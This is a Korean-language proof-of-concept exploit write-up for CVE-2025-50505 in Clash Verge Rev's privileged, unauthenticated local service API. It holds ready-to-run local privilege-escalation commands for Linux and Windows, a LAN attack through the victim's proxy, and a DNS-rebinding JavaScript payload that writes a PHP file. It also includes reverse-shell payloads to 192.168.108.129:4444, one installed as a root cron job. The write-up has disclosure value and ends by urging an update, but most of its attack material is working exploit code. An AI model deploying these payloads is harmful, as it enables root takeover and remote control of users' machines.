
CVE-2025-50505에 대한 개념 증명 익스플로잇: Clash Verge Rev의 인증되지 않은 API가 DNS 리바인딩을 통해 로컬 권한 상승 및 원격 코드 실행을 가능하게 합니다. LPE, RCE 및 리버스 셸 페이로드를 포함합니다.
Clash Verge Rev에서 인증되지 않은 API로 인한 임의 명령 실행 및 권한 상승
이 취약점은 기본적으로 상승된 권한으로 설치되는 clash-verge-service 구성 요소가 노출하는 인증되지 않은 API 엔드포인트에서 비롯됩니다. 이 결함으로 인해 공격자가 임의의 명령을 실행할 수 있으며, 두 가지 주요 공격 시나리오(호스트 시스템에서의 로컬 권한 상승(Local Privilege Escalation, LPE) 및 특정 조건에서의 원격 코드 실행(Remote Code Execution, RCE))가 발생합니다.
사용자가 LAN 연결을 활성화한 경우, 동일한 로컬 영역 네트워크(LAN)에 있는 공격자가 RCE 벡터를 악용할 수 있습니다. 더 심각하게는, DNS 리바인딩(DNS Rebinding) 공격과 연계하여 공개 인터넷에서도 악용할 수 있으며, 이를 통해 공격자는 브라우저 보안 정책을 우회하고 피해자가 악성 웹사이트를 방문하기만 해도 피해자 시스템에서 명령을 실행할 수 있습니다.
이 취약점에 대한 최초의 공개 경고는 X에서 @KawaiiZapic이 제공했습니다.
clash-verge-service 구성 요소는 높은 권한(root 또는 SYSTEM)으로 실행되며, 127.0.0.1:33211에서 인증되지 않은 HTTP API를 노출합니다. 취약점은 Mihomo 코어 프로세스의 시작을 제어하기 위해 JSON 페이로드를 수락하는 /start_clash 엔드포인트에 있습니다.
이 서비스는 페이로드의 여러 매개변수를 기반으로 명령을 구성하고 실행하며, 다음과 유사한 구조를 따릅니다.
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
결정적으로, 네 가지 매개변수(bin_path, config_dir, config_file, log_file) 모두 공격자가 완전히 제어할 수 있습니다. Rust는 고전적인 명령어 삽입(예: ; 또는 |를 사용한 명령 체이닝)에 대한 내재적 보호 기능을 제공하지만, 공격자가 전체 명령 구조를 제어할 수 있으므로 2단계 공격을 통해 임의 코드 실행이 가능합니다.
127.0.0.1:33211에서 수신 대기하며, /start_clash 인터페이스에 인증이 구현되어 있지 않습니다.clash-verge-service/src/service/mod.rs
// 29번째 줄
const LISTEN_PORT: u16 = 33211;
// 77~80번째 줄
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// 98~107번째 줄
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash()는 start_mihomo()를 호출하고, start_mihomo()는 bin_path를 전달하여 함수 process::spawn_process(bin_path, &args, log)를 호출합니다. spawn_process()는 std::Command::new(command)를 호출하여 명령어를 실행합니다.clash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

이 취약점은 두 가지 시나리오에서 RCE로 확대될 수 있습니다.
사용자가 Clash Verge Rev 클라이언트 내에서 "Allow LAN"(局域网连接) 옵션을 활성화하면, 애플리케이션의 프록시 서버가 동일한 로컬 네트워크의 모든 장치에서 접근 가능해집니다. 동일한 LAN에 있는 공격자는 피해자가 노출한 프록시를 통해 악성 요청을 보내 이를 악용할 수 있습니다.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
LAN 접근 없이 인터넷에서도 더 발전된 공격이 가능합니다. 이 공격 체인은 DNS 리바인딩과 "0.0.0.0-day" 익스플로잇이라는 특정 브라우저 동작을 결합하여 사용합니다.
이 공격의 핵심은 Firefox 및 특정 Chromium 버전이 IP 주소 0.0.0.0을 127.0.0.1의 별칭으로 처리한다는 점입니다. 이를 통해 공격자는 동일 출처 정책(SOP) 및 개인 네트워크 접근(PNA)과 같은 최신 브라우저 보안 기능을 우회할 수 있습니다.
공격 흐름은 다음과 같습니다.
attacker.com)에 호스팅된 악성 웹사이트를 방문합니다.attacker.com을 실제 공용 IP 주소로 확인합니다. 악성 페이지가 피해자의 브라우저에 로드됩니다.attacker.com의 IP를 0.0.0.0으로 변경합니다.attacker.com을 다시 확인하고 이제 0.0.0.0을 받게 됩니다.127.0.0.1로 직접 전송됩니다.요청의 출처는 여전히 attacker.com이므로 스크립트는 보안 제한을 성공적으로 우회하고 취약한 clash-verge-service API와 127.0.0.1:33211에서 직접 통신하여 원격 코드 실행을 달성합니다.
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
PHP 프로브를 경계 마커를 지원하는 모든 스크립팅 언어로 교체하십시오. 루트 셸을 얻으려면 다음 섹션을 참조하여 페이로드를 수정하십시오.
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

참고: Content-Type을 application/json으로 사용자 지정할 때 no-cors를 설정하지 마십시오. First then second는 느리지만 더 안정적인 DNS 리바인딩 모드입니다. multiple answers를 선택할 수도 있지만, 일부 공용 DNS 서버에서 차단되어 공격이 실패할 수 있습니다.
MacOS 및 일부 Linux 시스템(예: Kali)에는 zsh가 설치되어 있어 -d 및 -f로 스크립트를 실행할 수 있습니다.
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# OR SET UP A CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
"Spawning process..." 줄 뒤에 명령어의 출력이 추가됩니다. bin_path를 스크립트(예: evil.sh)로 직접 설정하면 실패합니다. 이는 shebang(#!/bin/bash)이 없으면 기본 OS가 사용할 인터프리터를 결정할 수 없기 때문입니다. bash evil.sh를 통해 명시적으로 호출하려고 해도 서비스에서 전달된 -d 인수가 bash 자체에서 잘못된 옵션으로 해석되므로 실패합니다.let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
@Esonhugh의 제안 덕분에 이러한 조건에서 zsh를 사용하여 명령어를 성공적으로 실행할 수 있습니다.
최신 버전으로 업데이트하십시오.